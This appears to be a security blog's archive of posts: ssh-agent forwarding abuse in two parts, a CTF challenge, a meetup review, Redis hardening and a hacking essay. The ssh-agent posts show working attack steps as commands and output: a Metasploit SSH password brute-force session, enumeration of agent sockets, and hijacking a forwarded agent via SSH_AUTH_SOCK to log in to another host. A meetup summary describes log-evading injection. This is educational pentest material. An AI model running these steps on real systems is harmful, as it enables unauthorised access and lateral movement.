ssh-agent: Abusing the trust – Part 2

In part 1 of this blog post I discussed common issues with using ssh-agent forwarding in an untrusted environment. Despite the risks it remains prevalent in my experience and ripe for some exploitation.

There are tools out there to help exploit this scenario, the main one I know about is secret-agent but I’ve been working on integrating this attack into everyone’s favourite framework for rapid exploit development, metasploit (MSF).

Right now, I’ve completed work on an enumeration post module called enum_ssh_agents. This can be used to identify any potential agents being forwarded through a box you’ve popped with metasploit. Later in this post I’ve outlined my roadmap for this tool, there’s definitely some opportunities but I need to make some more tweaks to the core MSF to allow it.

Here’s how to use the post module.

enum_ssh_agents

I’ll assume you have achieved root access to a box in metasploit and have at least one root level session you can run a post module against. If you’re following along at home we can quickly achieve that through the ssh_login auxiliary module. In this scenario our root credentials on debian1 are root/toor:

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run

[*] 192.168.1.60:22 SSH – Starting bruteforce
[*] 192.168.1.60:22 SSH – [1/3] – Trying: username: ‘root’ with password: ”
[-] 192.168.1.60:22 SSH – [1/3] – Failed: ‘root’:”
[*] 192.168.1.60:22 SSH – [2/3] – Trying: username: ‘root’ with password: ‘root’
[-] 192.168.1.60:22 SSH – [2/3] – Failed: ‘root’:'root’
[*] 192.168.1.60:22 SSH – [3/3] – Trying: username: ‘root’ with password: ‘toor’
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH – [3/3] – Success: ‘root’:'toor’ ‘uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux ‘
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hurrah, session 1 opened. Now we can execute our post module to enumerate any SSH agents which may be available.

msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run

[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[!]
[*] Post module execution completed

Great, we’ve found some and saved the details to loot.

msf post(enum_ssh_agents) > loot

Loot
====

host service type name content info path
—- ——- —- —- ——- —- —-
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt

At the moment the module saves details of an agent as a colon delimited entry in a text file:

msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt

pwnme:/tmp/ssh-JeCGlj2407/agent.2407

 

Roadmap

The roadmap for this module is to develop a way to pivot through the box where we have root and use the ssh-agents to scan/exploit further boxes beyond it. I already have some proof of concept code which can forward the ssh-agent back to our metasploit box for use in the scanning, and using metassh (which rocks btw) I can perform the pivot. The limitation is that the PoC code has to be executed on the root box and it’s written in Ruby which isn’t always installed.

I’m toying with the idea of rewriting it in Perl as that is nearly always available but that makes me feel a bit wrong. For now, a practical alternative is to upload socat to the root box and forward the agent back that way but the current metasploit ssh modules don’t support agent based authentication so I’ve got that to work on too.

Code

If you want to play around with this yourself you need two things. A version of the metasploit framework which includes my patch to lib/msf/core/post/file.rb and the post module itself. You can get both of these from my Github page at https://github.com/marcwickenden. I’ve submitted a pull request to the metasploit guys so hopefully the patch to file.rb will be available in the main code soon. Once this post module matures a little I will submit some more for inclusion.

Solving the Security B-Sides London 2012 Web Hacking Challenge

This year (2012) I wrote a web hacking challenge for BSides London. Rather than write a lengthy blog post about how to solve it (when others have already covered it), I thought I’d do some vidz. They’re all up on my (new) YouTube account and embedded below for your viewing enjoyment.

I had a ton of fun writing and supporting this challenge and I’m especially grateful to Tomasz Miklas for hosting and monitoring it throughout. Congratulations to Tom Mackenzie who won it and I’ll see him at 44Con in September.

The challenge is back online again now for people who want to play for fun at a new URL http://hive.0×41.cc/. It’s on Bytemark’s BigV beta so it may be up and down/subject to outages, etc but for the most part it’ll be there. Until they start charging at least!

The code has been open-sourced for any one who is interested in both finding out how it worked or using it for education. You can fork it on Github at https://github.com/7Elements.

The questions were:

  1. What is Matt’s password for the Intranet?
  2. Who did Iggy meet on January 20th?
  3. What is Javvad’s password?
  4. What is the kernel version of the underlying server?
  5. What is the SHA1 value in the file /bsides-challenge? (on the host itself, not on the website)
I recommend you crank the quality setting straight up to HD and go full screen on these.
Question 1

Question 2

Question 3

Questions 4 and 5

There were actually loads of ways to do these two questions, but here is one way.


There is a fifth vid on the way which shows how to find the two video Easter Eggs.

ssh-agent: Abusing the trust – Part 1

This post is about ssh-agent. For those who don’t know the following best describes it (from the man page):

ssh-agent is a program to hold private keys used for public key authentication

Many Unix/Linux/OSX dudes use it every day without even thinking too much about it. Even Windows dudes get a look in with Pageant. When you use public key authentication to SSH to a server and choose (by default or otherwise) to forward your agent you are opening yourself up to a trivial attack by any user with root privileges on that server.

This is not new news, even the Wikipedia article on ssh-agent lists this problem. What I want to do in this post is a quick demonstration of how it can be abused, for the uninitiated and discuss common scenarios I see.

Setting up for the demonstration

I’ll use three hosts to demonstrate this. The first is a BackTrack 5 box, the second and third are Debian 6. First I setup a “pwnme” user on all three boxes. On the BT5 box (7E-Marc) I create an SSH key-pair:

pwnme@7E-Marc:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pwnme/.ssh/id_rsa):
Created directory ‘/home/pwnme/.ssh’.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/pwnme/.ssh/id_rsa.
Your public key has been saved in /home/pwnme/.ssh/id_rsa.pub.
The key fingerprint is:
7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 pwnme@7E-Marc
The key’s randomart image is:
+–[ RSA 2048]—-+
| |
| |
| |
| . . |
| S o E |
| . . o + o |
| . o B . = .|
| . * *. +.|
| .o* .o=o.|
+—————–+

Now we take the public key and add it to the authorized_keys file on debian1:

pwnme@7E-Marc:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@7E-Marc

 

pwnme@debian1:~$ mkdir -m 700 .ssh
pwnme@debian1:~$ cd .ssh/
pwnme@debian1:~/.ssh$ cat > authorized_keys <<EOF
> ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@7E-Marc
> EOF

pwnme@debian1:~/.ssh$ chmod 600 authorized_keys

Next perform the same step on debian2 so it is also set up for public key authentication with this key.

As I am performing this demo from a terminal I will need to start an ssh-agent manually.  If I were logged in from the GUI most OSes will pop up a window and offer to save your key in an agent for you automatically.

The following shows me starting the ssh-agent, adding my key (which we created above) and then listing out the keys currently in my agent:

pwnme@7E-Marc:~$ eval `ssh-agent`
Agent pid 17956
pwnme@7E-Marc:~$ ssh-add .ssh/id_rsa
Enter passphrase for .ssh/id_rsa:
Identity added: .ssh/id_rsa (.ssh/id_rsa)
pwnme@7E-Marc:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)

Now we’re all set to SSH to debian1 from 7E-Marc using key-based authentication, we will override the default by specifying -A to forward our agent:

pwnme@7E-Marc:~$ ssh -A debian1
Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 1 11:01:03 2012 from 192.168.1.250
pwnme@debian1:~$

Now we are on the debian1 host with our agent forwarded. We can check this with ssh-add -l again.

pwnme@debian1:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)

We should be able to SSH to debian2 which also has our public key in its authorized_keys file.

 pwnme@debian1:~$ ssh debian2

Linux debian2 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 17 18:04:47 2012 from 192.168.1.60
pwnme@debian2:~$

Great, we’re all set. Let’s pwn this.

Demonstration

Our goal is to abuse our root privilege on debian1 to access the debian2 server, on which we don’t have an account, as the pwnme user.

Log on to debian1 and gain root privileges. Our pwnme user is still logged on:

root@debian1:~# who
root pts/0 2012-04-17 16:24 (192.168.1.250)
pwnme pts/1 2012-04-17 16:30 (192.168.1.250)

Let’s have a look in /tmp and see what we find.  ssh-agent creates UNIX socket files in /tmp. It does its best to protect them by creating a directory prefixed with ssh-, chmod’ed to 700 and owned by the user who logged in. The socket file is in this directory.

When the user logs in with agent forwarding the environment variable SSH_AUTH_SOCK is set to the location of this socket file. As we have root privileges we can access this socket file so all we need to do is set our SSH_AUTH_SOCK environment variable to this value and we are able to use the key data to authenticate, providing the user is still logged in with active forwarding.

root@debian1:~# ls -l /tmp/
total 13
drwx—— 2 root root 12288 Nov 9 22:36 lost+found
drwx—— 2 pwnme pwnme 1024 Apr 17 16:30 ssh-MTxBOW1298

root@debian1:~# ls -l /tmp/ssh-MTxBOW1298/
total 0
srwxr-xr-x 1 pwnme pwnme 0 Apr 17 16:30 agent.1298

root@debian1:~# export SSH_AUTH_SOCK=/tmp/ssh-MTxBOW1298/agent.1298
root@debian1:~# ssh pwnme@debian2
Linux debian2 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 17 18:22:57 2012 from 192.168.1.60
pwnme@debian2:~$

Oh dear, it worked. We are now authenticated to debian2 as the pwnme user. It’s important to note that even though a passphrase was set on the pwnme user’s private key once the key is loaded into the ssh-agent it is decrypted and the passphrase provides no protection to this abuse.

Common scenarios

So, as I said at the start, nothing new. How is this scary though? A lot of people use agent forwarding but don’t restrict it accordingly. Many people use the same SSH key for different hosts. For example, they create a key-pair at work for accessing work servers, then use the same public key on their home SSH server, or VPS in “The Cloud”. An evil root user on one of those work servers (or a penetration tester) could use those agent sockets to access your home server, your VPS, or whatever else you can access with that. Some companies even allow direct root logins with SSH providing it’s “without-password”. Instant root access.

Another common scenario is the SSH golden host. A “hardened” box at the perimeter which is used to access a secure environment remotely. Many times this is the only public facing server and it is common for sysadmins or developers to forward their agent through this server. An attacker who can gain root access on this server will quickly be able to pivot through to the other servers in the environment. In the words of Haroon Meer are you “one 0-day from being owned”?

If you are sensible and use different key-pairs for different environments you are likely still at risk as ssh-agent will forward all identities so what can you do?

How to protect yourself

Unfortunately there is no magic advice here. OpenSSH provide some configuration options such as IdentitiesOnly but this only controls which identities to forward to a server for authentication. If you successfully authenticate and forward your agent, all identities loaded will still be available on the remote host.

The best recommendation I can give is don’t forward your agent to hosts which you cannot trust – like the documentation says!

Next steps

This post really paves the way for what I want to look at in part 2 which is automating the process of finding and exploiting this issue with our friend metasploit and some modules I’ve been working on. Look out for that post soon.

Quick round-up of OWASP Brum – March 2012

OWASP logo I just got back from the second OWASP Birmingham (UK) meetup and had a really good time. Here is a very quick summary of what happened and what I thought.

This time around the meet was held in the offices of Service Birmingham. The conference room and facilities were great – even if they weren’t quite as posh as the KPMG offices we were treated to last time!

There were about thirty people there, I’d estimate a 50/50 split between students and, cough, professionals. :-)  Tom Mackenzie, one of the Chapter Leaders provided a quick introduction before handing over to the first speaker.

Fishermans Enemy’s First Talk

Ian, another of the Chapter Leaders kicked off the evening’s talks with a n00b introduction to web application security. This was Ian’s first ever talk but I don’t think it showed. He talked us through using Damn Vulnerable Web App (DVWA) to learn how to do appsec testing. He focused on Command Injection, SQL Injection and Cross-Site Scripting and explained the basics of each vulnerability very clearly along with how to exploit them and why it’s bad.

For anyone who hasn’t played with it, DVWA is a deliberately vulnerable LAMP application which has three levels of security – Low, Medium and High. Low basically equals no security, medium has common filtering techniques employed and High is theoretically not vulnerable. Ian did go through some of the common mistakes developers make when trying to mitigate SQLi on a PHP based web app, which I thought was good (mysql_escape_string for example).

Ian’s only being doing web app testing for eight months but his talk was good, I liked his style and humour and I look forward to future talks as he learns more of the advanced techniques.

Tom talks stealth and FLSPM

Next up, Tom Mackenzie gave a really interesting talk about detecting attackers using your weblogs and gave a demonstration of tools that he and colleague Ryan wrote for a BlackHat Abu Dhabi talk which could achieve a web app hack with much more stealth.

By default Apache does not log parameters sent via POST so by injecting commands via POST you have a better chance of remaining undetected. That was great but the thing I liked the most was ensuring that pages are requested with a valid Referer, something which is rarely sent when a skiddie (or even a pentester) attacks your server. On top of that the page also returns the expected length of output for the page you are exploiting. For example, you have a vulnerable page which adds an item to your shopping basket which will return a length of 542 bytes, Tom showed how you can manipulate your injected PHP to ensure you get a 542 bytes response. If you are trying to retrieve data, for example through command injection, you can truncate the response and then, using an offset value go back and get the next 542 bytes. Or if the data returned is less, it will pad.

It’s simple but effective when you look at the log results. The average sysadmin is not going to spot them and it will keep a forensic investigator honest when you call them in to find out what happened.

Moving on from this Tom discussed a modification he and Ryan have POC’ed and are working on integrating at a C level into PHP.

Called FLSPM (Function Level Security Profiling and Monitoring), the idea is to generate, through UAT, a list of valid functions per page and then perform whitelisting based on this list. For example, if, during UAT – which should represent normal running of your web application – a page uses the echo, print and include functions, there should never be a reason why this page would call shell_exec. This is an immediate indication that something is wrong and can be blocked by basically intercepting the function call at a PHP level.

I’m a big advocate of the disable_functions directive in php.ini, what Tom is talking about here is almost an “enable_functions” but on a per page basis. I think it’s a good idea but like all things it will need initial and ongoing investment of effort to configure, something most companies are keen to avoid. For those that are though, this could be a really useful approach.

DLP Sales Pitch – Hmm, sorry, wrong room

Last up was a talk about Data Leak Prevention by a really nice guy but, unfortunately, in my opinion not really suitable for the audience. It was effectively a sales pitch for a DLP product. Now, I’ve worked with some of these products and it really doesn’t take a genius to bypass them completely so I listened intently and tried to pretend I was ok about it all but eventually I cracked (after some egging on on Twitter).

After a particularly pointless demonstration of the DLP product alerting to the presence of a person’s name and credit card number through email, HTTP GET, HTTP POST, etc I had to ask:

“What if I encode it? Not encrypt, just base64 it for example, will the system detect it?”

The answer of course was no. What followed was possibly the best and worst answer I’ve ever heard from a vendor regarding this. Apparently that would constitute “Data Theft Prevention” not “Data Leak Prevention”. Well, I’ll remember that next time I’m streaming data out of a client’s network past the DLP solution they’ve just spent thousands on. In my report I’ll make sure I point out they should have bought the DTP not just the DLP.

My opinion of DLP has not been enhanced. I can see it has its place in a compliance driven world and, correctly implemented, can be a really useful tool in a large organisation to try and gain control of data at rest and in transit. However, like those other technologies we love to berate in security, AV and IDS, it is ultimately based on signatures and history has repeatedly told us, signature-based detection is only going to catch a low percentage of bad things.

Pub

We’d all been fed well on pizza so after we wrapped at 9pm we headed into town for a swift bevvy before making the trip home. It was good to meet and chat to quite a few new and old friends and I look forward to seeing them all again at the next meet. If you can make it to Birmingham I recommend coming along. Check the OWASP website for more details.

Installing and Hardening Redis

Redis logo

For the recent Security BSides London challenge I wrote, I made use of a Redis database to store user email. I had two motivations for this, firstly I didn’t want the mail in the main MySQL database as that was going to be dumpable through SQL Injection, secondly, I wanted to play with Redis. :-)

Redis doesn’t have much in the way of security so I knew that anyone who managed to pop the box could theoretically connect to the local Redis instance and mess around. I’ll take you through the steps I took to install and harden Redis, on a Debian Squeeze GNU/Linux box.

Installation

The first thing to do is get a copy of Redis. This is available as source tarball from their website. In this instance, the latest version is 2.4.8.

$ cd Downloads/

$ wget http://redis.googlecode.com/files/redis-2.4.8.tar.gz
–2012-03-13 10:21:06– http://redis.googlecode.com/files/redis-2.4.8.tar.gz
Resolving redis.googlecode.com… 173.194.78.82
Connecting to redis.googlecode.com|173.194.78.82|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 618164 (604K) [application/x-gzip]
Saving to: `redis-2.4.8.tar.gz’

100%[======================================>] 618,164 549K/s in 1.1s

2012-03-13 10:21:07 (549 KB/s) – `redis-2.4.8.tar.gz’ saved [618164/618164]

Now unpack it of course and run “make”.

$ tar xzf redis-2.4.8.tar.gz

$ cd redis-2.4.8/

$ make

cd src && make all
make[1]: Entering directory `/home/marc/Downloads/redis-2.4.8/src’
MAKE hiredis
make[2]: Entering directory `/home/marc/Downloads/redis-2.4.8/deps/hiredis’
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb net.c
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb hiredis.c
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb sds.c
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb async.c
ar rcs libhiredis.a net.o hiredis.o sds.o async.o
make[2]: Leaving directory `/home/marc/Downloads/redis-2.4.8/deps/hiredis’

 

… and so on….

CC sort.o
CC intset.o
CC syncio.o
CC slowlog.o
CC bio.o
LINK redis-server

Hint: To run ‘make test’ is a good idea ;)

If you want to run make test you can, must admit I don’t normally worry.  Now you can just run the server from here if you want to but that’s not normally what you would do in production. Redis provide an install script which will put everything in /usr/local by default. This is fine by me but the whole thing will be owned by and run as root. This is completely unnecessary so we’ll remedy that shortly. First though, install it with its default options.

$ cd utils
$ sudo ./install_server.sh
Welcome to the redis service installer
This script will help you easily set up a running redis server
Please select the redis port for this instance: [6379]
Selecting default: 6379
Please select the redis config file name [/etc/redis/6379.conf]
Selected default – /etc/redis/6379.conf
Please select the redis log file name [/var/log/redis_6379.log]
Selected default – /var/log/redis_6379.log
Please select the data directory for this instance [/var/lib/redis/6379]
Selected default – /var/lib/redis/6379
Please select the redis executable path [/usr/local/bin/redis-server]
Copied /tmp/6379.conf => /etc/init.d/redis_6379
Installing service…
update-rc.d: using dependency based boot sequencing
insserv: warning: script ‘redis_6379′ missing LSB tags and overrides
Success!
Starting Redis server…
Installation successful!

 

Hardening

Next we create a system account for Redis to run as. I use redis but you can substitute for whatever you like.

$ sudo useradd -r -s /bin/bash -d /var/lib/redis redis

Next we create a directory under /var/run which redis can write its pid file to and the same under /var/log for logging.

$ sudo mkdir /var/run/redis /var/log/redis

$ sudo chown redis:adm /var/run/redis /var/log/redis

$ sudo chmod 750 /var/log/redis

Then we update the Redis config file to use this.

$ sudo vi /etc/redis/6379.conf

find the line beginning pidfile and change the location to include the /var/run/redis directory like this.

pidfile /var/run/redis/redis_6379.pid

and repeat for the logfile line:

logfile /var/log/redis/redis_6379.log

The next thing is to sort the owner and permissions on the location where Redis periodically dumps its contents. No-one other than the redis user needs access to here so let’s enforce that.

$ sudo chown -R redis:redis /var/lib/redis

$ sudo chmod 700 /var/lib/redis/

Now we turn our attention to the init script at /etc/init.d/redis_6379. We need to make a couple of amendments to specify the correct location of our pidfile and also to start the server as the redis user.

$ sudo vi /etc/init.d/redis_6379

Find the line near the top which defines the PIDFILE variable and change it to:

PIDFILE=/var/run/redis/redis_6379.pid

Now we need to add a new variable declaration. I put it just above REDISPORT but anywhere in the top of the file will technically work.

REDISUSER=”redis”

Now head down the file and find the section which looks like:

echo “Starting Redis server…”
$EXEC $CONF

Change it to:

echo “Starting Redis server…”
/bin/su – $REDISUSER -c “$EXEC $CONF”

That’s it, we’re done getting it up and running. You can test the start up by issuing:

$ sudo /etc/init.d/redis_6379 start
Starting Redis server…

You can check it’s running in the normal manner:

$ ps -ef | grep red
redis 4410 1 0 11:11 ? 00:00:00 /usr/local/bin/redis-server /etc/redis/6379.conf

Check that it’s running as the redis user which you can see above, it is.

Restrictions

So that’s great, but by connecting to the local redis server on port 6379 you’d be able to issue any command including SET and other write actions. I didn’t want this obviously. Password authentication can be enabled on Redis but this is as much use as a chocolate teapot when the password is a config file everyone can read. I decided to restrict the command set to only read-only commands using the very helpful rename-command feature.

You can rename any Redis command to whatever you like but if you rename it to “”, ie nothing, it disables the commands. Very handy.

There were only two commands I needed for my app, GET and LRANGE so I was free to disable everything else. Redis provide a list of commands on their website at http://redis.io/commands so with a frankly hideous curl | grep | sed | cut | awk | anything else you can think of command line I parsed out all the valid commands and generated the following output which I saved in a file /etc/redis/rename-commands.conf:

rename-command APPEND “”
rename-command AUTH “”
rename-command BGREWRITEAOF “”
rename-command BGSAVE “”
rename-command BLPOP “”
rename-command BRPOP “”
rename-command BRPOPLPUSH “”
rename-command CONFIG “”
rename-command DBSIZE “”
rename-command DEBUG “”
rename-command DECR “”
rename-command DECRBY “”
rename-command DEL “”
rename-command DISCARD “”
rename-command ECHO “”
rename-command EXEC “”
rename-command EXISTS “”
rename-command EXPIRE “”
rename-command EXPIREAT “”
rename-command FLUSHALL “”
rename-command FLUSHDB “”
rename-command GETBIT “”
rename-command GETRANGE “”
rename-command GETSET “”
rename-command HDEL “”
rename-command HEXISTS “”
rename-command HGET “”
rename-command HGETALL “”
rename-command HINCRBY “”
rename-command HKEYS “”
rename-command HLEN “”
rename-command HMGET “”
rename-command HMSET “”
rename-command HSET “”
rename-command HSETNX “”
rename-command HVALS “”
rename-command INCR “”
rename-command INCRBY “”
rename-command INFO “”
rename-command KEYS “”
rename-command LASTSAVE “”
rename-command LINDEX “”
rename-command LINSERT “”
rename-command LLEN “”
rename-command LPOP “”
rename-command LPUSH “”
rename-command LPUSHX “”
rename-command LREM “”
rename-command LSET “”
rename-command LTRIM “”
rename-command MGET “”
rename-command MONITOR “”
rename-command MOVE “”
rename-command MSET “”
rename-command MSETNX “”
rename-command MULTI “”
rename-command OBJECT “”
rename-command PERSIST “”
rename-command PING “”
rename-command PSUBSCRIBE “”
rename-command PUBLISH “”
rename-command PUNSUBSCRIBE “”
rename-command RANDOMKEY “”
rename-command RENAME “”
rename-command RENAMENX “”
rename-command RPOP “”
rename-command RPOPLPUSH “”
rename-command RPUSH “”
rename-command RPUSHX “”
rename-command SADD “”
rename-command SAVE “”
rename-command SCARD “”
rename-command SDIFF “”
rename-command SDIFFSTORE “”
rename-command SELECT “”
rename-command SET “”
rename-command SETBIT “”
rename-command SETEX “”
rename-command SETNX “”
rename-command SETRANGE “”
rename-command SHUTDOWN “”
rename-command SINTER “”
rename-command SINTERSTORE “”
rename-command SISMEMBER “”
rename-command SLAVEOF “”
rename-command SLOWLOG “”
rename-command SMEMBERS “”
rename-command SMOVE “”
rename-command SORT “”
rename-command SPOP “”
rename-command SRANDMEMBER “”
rename-command SREM “”
rename-command STRLEN “”
rename-command SUBSCRIBE “”
rename-command SUNION “”
rename-command SUNIONSTORE “”
rename-command SYNC “”
rename-command TTL “”
rename-command TYPE “”
rename-command UNSUBSCRIBE “”
rename-command UNWATCH “”
rename-command WATCH “”
rename-command ZADD “”
rename-command ZCARD “”
rename-command ZCOUNT “”
rename-command ZINCRBY “”
rename-command ZINTERSTORE “”
rename-command ZRANGE “”
rename-command ZRANGEBYSCORE “”
rename-command ZRANK “”
rename-command ZREM “”
rename-command ZREMRANGEBYRANK “”
rename-command ZREMRANGEBYSCORE “”
rename-command ZREVRANGE “”
rename-command ZREVRANGEBYSCORE “”
rename-command ZREVRANK “”
rename-command ZSCORE “”
rename-command ZUNIONSTORE “”

The eagle-eyed among you will notice that I’ve renamed the SHUTDOWN command. If you rename SHUTDOWN the init script doesn’t like you much and it doesn’t perform a save of the data before it exits. In my case that’s actually not too much of an issue as no data is being written but it’s something to bear in mind on your app. If you don’t rename SHUTDOWN then obviously someone can connect and shutdown your Redis instance. In a deliberately vulnerable app you might expect this, in a normal production server, hopefully not!

Now I’ve got this file I need to protect it and use it. I decided the redis user should not be able to edit this file and no-one else should be able to read it:

$ sudo chown root:redis /etc/redis/rename-commands.conf

$ chmod 440 /etc/redis/rename-commands.conf

Now we can include it into the main Redis configuration by adding the following line to the bottom of /etc/redis/6379.conf:

include /etc/redis/rename-commands.conf

And that’s it, restart your Redis instance and test it out.

$ redis-cli
redis 127.0.0.1:6379> ECHO foo
(error) ERR unknown command ‘ECHO’
redis 127.0.0.1:6379>

There’s probably a few more things that could be done to harden it further, I would suggest looking into the authentication too. While it does sit in the config file, the same is true of a traditional database. The difference is you have much more granular control over database objects typically. With redis it’s all or nothing, like having your app log in as sa.

For my next trick, I’ll be looking into No-SQL Injection.

0×41: New name, same game

Same Bat time, Different Bat channelI decided to register a new domain for my personal website and blog. I wanted something which was a bit more ‘hacker-ish’ and nice and short.  After spending ages last night on the website http://domai.nr/ (which is great btw) trying to come up with some witty short domain name all of the ones I came up with were going to cost me upwards of £70 for some obscure TLD.  I really wanted a .io domain but that’s just too much money.

In the end I settled for a .cc as it’s widely available, cheap and has a security connection with the .co.cc spammer domains.

As for 0×41, well, hopefully that’s self explanatory! I haven’t tried accessing this site through a Snort box yet but it may be interesting having both 0×41 and .cc whizzing through the wire. :-)

Other than the name change, the aim stays the same: to post as often as possible, mostly technical content, research and tools I’m working on and conference reviews. Hope you enjoy it!

Hacker MOFO!

Hackers Movie

Hackers?

I want to discuss “hackers”. All of us in the security industry are all too aware of the abuse of the term hacker and its association with the kid in the dark room breaking into computers in some distant corner of the Internet. While this is not strictly speaking the definition of a hacker it has become the adopted meaning in the mainstream. Even us Infosec peeps now use this term interchangeably to refer to both black and white hats. I can’t recall any of my security peers ever referring to “crackers” which is supposedly the correct term for black hats.

Maybe that’s because we all recognise the problem isn’t quite so black and white after all? We all know Bob right? ;-)

hack·er

a computer enthusiast.

That’s from dictionary.com. There’s no mention of evil computer criminals. A computer enthusiast….not bad but it doesn’t really capture the essence of hacking for me.  Yes, enthusiasm is at the core of it but it’s something more than that.

Hacking is sexy

Information Security is a booming industry right now, and with that boom inevitably comes a wave of people doing it for different reasons to, well, me. Hacking is sexy, people watch The Matrix, do an Ethical Hacking degree or CEH, they download Metasploit and go “hack”.

No. Just in case this needs spelling out, that is not hacking. Hacking is something which runs through you, it’s an all-consuming passion for finding out how and why things work, taking them apart, putting them back together, often in a different form to before you took it apart. Then doing it again.

There is one phrase you will never hear a hacker say:

How do you know all this stuff?

People have said it to me before and my answer is always the same and always along the lines of “erm, I don’t know, I read up, I tried it out….erm, I just do…”. It never occurs to me that I couldn’t know something to do with computers. Some topics I find harder than others, hard-core cryptography for example, but I’ve never stopped learning something because it was too hard, just because I ran out of time or chose something else to learn that night.

We all get pissed off with people who turn up in IRC channels (or similar) and ask the inevitable “teach me to hack” questions. Why is that frustrating? For me, that’s obvious. If you’ve ever asked a generic question like that you will (likely) never hack something in your life. Your brain is just not wired that way. The sheer amount of information available on the Internet and the accessibility of it through search engines is phenomenal. There’s really no excuse not to attain a basic knowledge of anything these days. If you can’t master a basic use of the Internet you’re really not cut out for a career in IT, let alone Information Security.

Hackers find out for themselves (not just through the Internet) and ask other hackers when they get stuck. It’s ok not to know something but you need to show you’ve put some effort in before others will help you. If you spend any time on IRC hanging in the #metasploit channel for example, you’ll see someone get kick/banned every day for breaching this etiquette. Why is it so important to put the effort in first? There’s a number of reasons but I think primarily it comes down to respect. Time is the enemy of the hacker. There’s so much to learn, so many projects on the go at any one time that managing it all is almost an impossible task. Along the way we want to help others learn too but not by spoon feeding – don’t waste a hacker’s time, it’s the thing he values most.

Am I a hacker?

For the last (nearly) twenty years I’ve been messing about with computers. I remember my first one, a 486 with 8MB of RAM running Windows for Workgroups 3.11 on top of MS-DOS 6. Some of you reading this will think I’m but a baby, some of you will wonder what on earth I’ve just written. I was 16. I was doing an A-Level Computing course and my parents bought this beast with its tower case and 14? CRT monitor. I spent hours messing about with autoexec.bat and config.sys, removing key Windows system files (it didn’t warn you in those days) and generally pulling it apart. I spent evening after evening re-installing Windows (from 8 floppy discs). I took that knowledge to college where I wrote DOS and Novell boot screen emulators in Turbo Pascal which captured other student’s usernames and passwords. I watched War Games and I wondered how on earth I would ever afford to buy a modem so I could do war-dialling as that looked cool.

A couple of years later we got a new computer. This time a Pentium II 400MHz. Crucially this baby did have a modem. A 56K V.90 no less. Internet here we come. I grabbed a free Compuserve disc off that month’s PC Pro mag and got online. No firewall, no antivirus, no NAT, just raw Internet. Yeh baby, that’s how we rolled in them days.

It didn’t take me long before I was searching (altavista.com) for hacking stuff. I frequented the CdC website, installed BackOrifice on my own and friends machines, messed around with L0phtCrack and generally did things which probably meant my machine was owned seven ways to Sunday.

